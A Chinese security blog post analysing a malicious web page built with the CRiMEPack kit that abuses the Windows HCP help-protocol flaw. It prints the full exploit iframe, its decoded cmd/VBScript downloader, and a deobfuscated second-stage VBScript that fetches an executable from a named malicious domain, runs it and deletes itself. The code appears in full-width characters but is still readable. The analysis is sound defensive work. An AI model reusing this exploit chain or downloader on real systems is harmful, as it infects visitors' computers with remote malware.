虽然网上前一阵子炒作的一身劲，不过实际运用HCP的毒网还真少见，刚才在剑盟看到一个（http://bbs.janmeng.com/redirect.php?tid=939059&goto=lastpost#lastpost），网址是hxxp://www.goodgirlsbadguys.com/zan/hcp.php?type=1&o=xp&b=ff，代码记录如下：

本文来自www.sacour.cn 转载注明来源

为了防止误报，转换成全角了
+顺手写了一个半角>>全角转换页面，方便转换，请见 : http://www.sacour.cn/convert.htm

<ｉｆｒａｍｅ ｓｒｃ ="ｈｃｐ://ｓｅｒｖｉｃｅｓ/ｓｅａｒｃｈ?ｑｕｅｒｙ=ｃｒｉｍｅｐａｃｋ&ｔｏｐｉｃ=ｈｃｐ://ｓｙｓｔｅｍ/ｓｙｓｉｎｆｏ/ｓｙｓｉｎｆｏｍａｉｎ.ｈｔｍ%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ%%Ａ..%５Ｃ..%５Ｃｓｙｓｉｎｆｏｍａｉｎ.ｈｔｍ%ｕ００３ｆｓｖｒ=%３Ｃｓｃｒｉｐｔ%２０ｄｅｆｅｒ%３Ｅｅｖａｌ(Ｒｕｎ(Ｓｔｒｉｎｇ.ｆｒｏｍＣｈａｒＣｏｄｅ(９９,１０９,１００,３２,４７,９９,３２,１０１,９９,１０４,１１１,３２,８９,６１,３４,９０,４６,１１８,９８,１１５,３４,５８,８７,１０５,１１６,１０４,３２,６７,１１４,１０１,９７,１１６,１０１,７９,９８,１０６,１０１,９９,１１６,４０,３４,７７,８３,８８,７７,７６,５０,４６,８８,７７,７６,７２,８４,８４,８０,３４,４１,５８,４６,１１１,１１２,１０１,１１０,３２,３４,７１,６９,８４,３４,４４,３４,１０４,１１６,１１６,１１２,５８,４７,４７,１１９,１１９,１１９,４６,１０３,１１１,１１１,１００,１０３,１０５,１１４,１０８,１１５,９８,９７,１００,１０３,１１７,１２１,１１５,４６,９９,１１１,１０９,４７,１２２,９７,１１０,４７,１０４,９９,１１２,４６,１１２,１０４,１１２,６３,１１６,１２１,１１２,１０１,６１,５１,３８,９８,６１,１０２,１０２,３８,１１１,６１,１２０,１１２,３４,４４,１０２,９７,１０８,１１５,１０１,５８,４６,１１５,１０１,１１０,１００,４０,４１,５８,８３,１０１,１１６,３２,８４,３２,６１,３２,６７,１１４,１０１,９７,１１６,１０１,７９,９８,１０６,１０１,９９,１１６,４０,３４,８３,９９,１１４,１０５,１１２,１１６,１０５,１１０,１０３,４６,７０,１０５,１０８,１０１,８３,１２１,１１５,１１６,１０１,１０９,７９,９８,１０６,１０１,９９,１１６,３４,４１,５８,８５,３２,６１,３２,８４,４６,７１,１０１,１１６,８３,１１２,１０１,９９,１０５,９７,１０８,７０,１１１,１０８,１００,１０１,１１４,４０,５０,４１,３２,４３,３２,３４,９２,３４,３２,４３,３２,８９,５８,８３,１０１,１１６,３２,７４,６１,８４,４６,６７,１１４,１０１,９７,１１６,１０１,８４,１０１,１２０,１１６,７０,１０５,１０８,１０１,４０,８５,４１,５８,７４,４６,８７,１１４,１０５,１１６,１０１,７６,１０５,１１０,１０１,３２,４６,１１４,１０１,１１５,１１２,１１１,１１０,１１５,１０１,８４,１０１,１２０,１１６,５８,６９,１１０,１００,３２,８７,１０５,１１６,１０４,５８,７４,４６,６７,１０８,１１１,１１５,１０１,５８,８３,６９,８４,３２,８１,３２,６１,３２,６７,１１４,１０１,９７,１１６,１０１,７９,９８,１０６,１０１,９９,１１６,４０,３４,８７,８３,９９,１１４,１０５,１１２,１１６,４６,８３,１０４,１０１,１０８,１０８,３４,４１,５８,８１,４６,８２,１１７,１１０,３２,８５,３２,６２,３２,３７,８４,６９,７７,８０,３７,９２,９０,４６,１１８,９８,１１５,３２,３８,３８,３２,３７,８４,６９,７７,８０,３７,９２,９０,４６,１１８,９８,１１５,３２,３８,３８,３２,１１６,９７,１１５,１０７,１０７,１０５,１０８,１０８,３２,４７,７０,３２,４７,７３,７７,３２,１０４,１０１,１０８,１１２,９９,１１６,１１４,４６,１０１,１２０,１０１,３２,３８,３８,３２,１１６,９７,１１５,１０７,１０７,１０５,１０８,１０８,３２,４７,７０,３２,４７,７３,７７,３２,１１９,１０９,１１２,１０８,９７,１２１,１０１,１１４,４６,１０１,１２０,１０１)))%３Ｃ/ｓｃｒｉｐｔ%３Ｅ">

毕竟是那种类似于XSS的代码嘛，解密也简单，只要把它后面的那一组数据解开就行了，结果是：


ｃｍｄ /ｃ ｅｃｈｏ Ｙ="Ｚ.ｖｂｓ":Ｗｉｔｈ ＣｒｅａｔｅＯｂｊｅｃｔ("ＭＳＸＭＬ２.ＸＭＬＨＴＴＰ"):.ｏｐｅｎ "ＧＥＴ","ｈｔｔｐ://ｗｗｗ.ｇｏｏｄｇｉｒｌｓｂａｄｇｕｙｓ.ｃｏｍ/ｚａｎ/ｈｃｐ.ｐｈｐ?ｔｙｐｅ=３&ｂ=ｆｆ&ｏ=ｘｐ",ｆａｌｓｅ:.ｓｅｎｄ():Ｓｅｔ Ｔ = ＣｒｅａｔｅＯｂｊｅｃｔ("Ｓｃｒｉｐｔｉｎｇ.ＦｉｌｅＳｙｓｔｅｍＯｂｊｅｃｔ"):Ｕ = Ｔ.ＧｅｔＳｐｅｃｉａｌＦｏｌｄｅｒ(２) + "\" + Ｙ:Ｓｅｔ Ｊ=Ｔ.ＣｒｅａｔｅＴｅｘｔＦｉｌｅ(Ｕ):Ｊ.ＷｒｉｔｅＬｉｎｅ .ｒｅｓｐｏｎｓｅＴｅｘｔ:Ｅｎｄ Ｗｉｔｈ:Ｊ.Ｃｌｏｓｅ:ＳＥＴ Ｑ = ＣｒｅａｔｅＯｂｊｅｃｔ("ＷＳｃｒｉｐｔ.Ｓｈｅｌｌ"):Ｑ.Ｒｕｎ Ｕ > %ＴＥＭＰ%\Ｚ.ｖｂｓ && %ＴＥＭＰ%\Ｚ.ｖｂｓ && ｔａｓｋｋｉｌｌ /Ｆ /ＩＭ ｈｅｌｐｃｔｒ.ｅｘｅ && ｔａｓｋｋｉｌｌ /Ｆ /ＩＭ ｗｍｐｌａｙｅｒ.ｅｘｅ

就是这个文件了：hxxp://www.goodgirlsbadguys.com/zan/hcp.php?type=3&b=ff&o=xp

仔细看看代码，原来这个是CRiMEPack生成的恶意网页。

上一步下载到%temp%\z.vbs的hcp.php这个理所当然是个vbs文件，文件前面的SUB V1、SUB V2……SUB V76什么的都是空过程，所以我就删掉了。往下看代码，其实这个东西有点像是ＭＳ０６０１４的样子，但是由于VBS在本地执行了，文件的操作权限肯定是高于远程执行时候的权限，所以对这个VBS来说下载文件什么的都很容易操作，没有在网页中执行014的种种限制。

代码中间有一个D=StrReverse(...)，StrReverse是翻转字符用的函数，这个也简单， 直接使用Redoce的解密－7/翻转 就可以了。最终结果是：
hxxp://www.goodgirlsbadguys.com/zan/load.php?spl=hcp&b=ff&o=xp&i=hcp


Ｓｕｂ Ａ７６１ＥＶｕ_５(): Ｉ=１: Ｖ=ｆａｌｓｅ: Ｄ = ＳｔｒＲｅｖｅｒｓｅ("ｐｃｈ=ｉ&ｐｘ=ｏ&ｆｆ=ｂ&ｐｃｈ=ｌｐｓ?ｐｈｐ.ｄａｏｌ/ｎａｚ/ｍｏｃ.ｓｙｕｇｄａｂｓｌｒｉｇｄｏｏｇ.ｗｗｗ//:ｐｔｔｈ"): Ｓｅｔ Ｘ = Ｃｒｅａｔｅｏｂｊｅｃｔ(ＳｔｒＲｅｖｅｒｓｅ(Ｒｅｐｌａｃｅ("ｔＫ１９１_ｍ１１８_３ｃＫ１９１_ｍ１１８_３ｅＫ１９１_ｍ１１８_３ｊｂＫ１９１_ｍ１１８_３ＯｍＫ１９１_ｍ１１８_３ｅｔＫ１９１_ｍ１１８_３ｓｙＫ１９１_ｍ１１８_３ＳｅＫ１９１_ｍ１１８_３ｌｉＫ１９１_ｍ１１８_３Ｆ.Ｋ１９１_ｍ１１８_３ｇｎＫ１９１_ｍ１１８_３ｉｔＫ１９１_ｍ１１８_３ｐｉｒＫ１９１_ｍ１１８_３ｃＳ","Ｋ１９１_ｍ１１８_３",""))): Ｌ = Ｘ.ＧｅｔＳｐｅｃｉａｌＦｏｌｄｅｒ(２) & ＳｔｒＲｅｖｅｒｓｅ("ａｂｔｕａｓｂｖ.ｔａｂ\"): Ｏ = ＳｔｒＲｅｖｅｒｓｅ("ＴＥＧ"): Ｓｅｔ Ｕ = ＣｒｅａｔｅＯｂｊｅｃｔ(ＳｔｒＲｅｖｅｒｓｅ(Ｒｅｐｌａｃｅ("Ｋ１９１_ｍ１１８_３ＰＴＫ１９１_ｍ１１８_３ＴＨＫ１９１_ｍ１１８_３ＬＭＫ１９１_ｍ１１８_３Ｘ.Ｋ１９１_ｍ１１８_３２ＬＫ１９１_ｍ１１８_３ＭＸＫ１９１_ｍ１１８_３ＳＫ１９１_ｍ１１８_３Ｍ","Ｋ１９１_ｍ１１８_３",""))): Ｓｅｔ Ｃ = ＣｒｅａｔｅＯｂｊｅｃｔ(ＳｔｒＲｅｖｅｒｓｅ(Ｒｅｐｌａｃｅ("ｍＫ１９１_ｍ１１８_３ａｅＫ１９１_ｍ１１８_３ｒｔＫ１９１_ｍ１１８_３Ｓ.ＢＫ１９１_ｍ１１８_３ＤＫ１９１_ｍ１１８_３ＯＤＫ１９１_ｍ１１８_３Ａ","Ｋ１９１_ｍ１１８_３",""))): Ｓｅｔ Ｈ=Ｃｒｅａｔｅｏｂｊｅｃｔ(ＳｔｒＲｅｖｅｒｓｅ(Ｒｅｐｌａｃｅ("ｔＫ１９１_ｍ１１８_３ｃｅｊｂＫ１９１_ｍ１１８_３ＯＫ１９１_ｍ１１８_３ｍｅｔｓｙＫ１９１_ｍ１１８_３ＳＫ１９１_ｍ１１８_３ｅｌｉＫ１９１_ｍ１１８_３Ｆ.ｇＫ１９１_ｍ１１８_３ｎｉｔＫ１９１_ｍ１１８_３ｐｉｒＫ１９１_ｍ１１８_３ｃＳ","Ｋ１９１_ｍ１１８_３",""))):Ｏｎ Ｅｒｒｏｒ ｒｅｓｕｍｅ ｎｅｘｔ:Ｕ.ｏｐｅｎ Ｏ, Ｄ, Ｖ: Ｕ.ｓｅｎｄ() :Ｉｆ Ｕ.Ｓｔａｔｕｓ = ２００ Ｔｈｅｎ 
     ｕ=Ｕ.ＲｅｓｐｏｎｓｅＢｏｄｙ:Ｃ.Ｏｐｅｎ:Ｃ.Ｔｙｐｅ = Ｉ:Ｃ.Ｗｒｉｔｅ ｕ:Ｃ.ＳａｖｅＴｏＦｉｌｅ Ｌ:Ｃ.Ｃｌｏｓｅ
     Ｅｎｄ Ｉｆ:ＣｒｅａｔｅＯｂｊｅｃｔ(ＳｔｒＲｅｖｅｒｓｅ("ｌｌｅｈＳ.ｔｐｉｒｃＳＷ")).ｅＸｅＣ Ｌ:ＣｒｅａｔｅＯｂｊｅｃｔ(ＳｔｒＲｅｖｅｒｓｅ("ｌｌｅｈＳ.ｔｐｉｒｃＳＷ")).ｅＸｅＣ ＳｔｒＲｅｖｅｒｓｅ(Ｒｅｐｌａｃｅ("Ｋ１９１_ｍ１１８_３ｅＫ１９１_ｍ１１８_３ｘＫ１９１_ｍ１１８_３ｅＫ１９１_ｍ１１８_３.Ｋ１９１_ｍ１１８_３ｒＫ１９１_ｍ１１８_３ｅＫ１９１_ｍ１１８_３ｙＫ１９１_ｍ１１８_３ａＫ１９１_ｍ１１８_３ｌＫ１９１_ｍ１１８_３ｐｍＫ１９１_ｍ１１８_３ｗ ＭＫ１９１_ｍ１１８_３Ｉ/ ＦＫ１９１_ｍ１１８_３/ ｌＫ１９１_ｍ１１８_３ｌｉＫ１９１_ｍ１１８_３ｋｋＫ１９１_ｍ１１８_３ｓＫ１９１_ｍ１１８_３ａｔＫ１９１_ｍ１１８_３","Ｋ１９１_ｍ１１８_３","")):Ａ = Ｘ.ＧｅｔＳｐｅｃｉａｌＦｏｌｄｅｒ(２) & "\" & ｗｓｃｒｉｐｔ.ｓｃｒｉｐｔｎａｍｅ:Ｓｅｔ Ｊ=Ｈ.ＧｅｔＦｉｌｅ(Ａ): Ｊ.Ｄｅｌｅｔｅ:Ｅｎｄ Ｓｕｂ:Ｖ０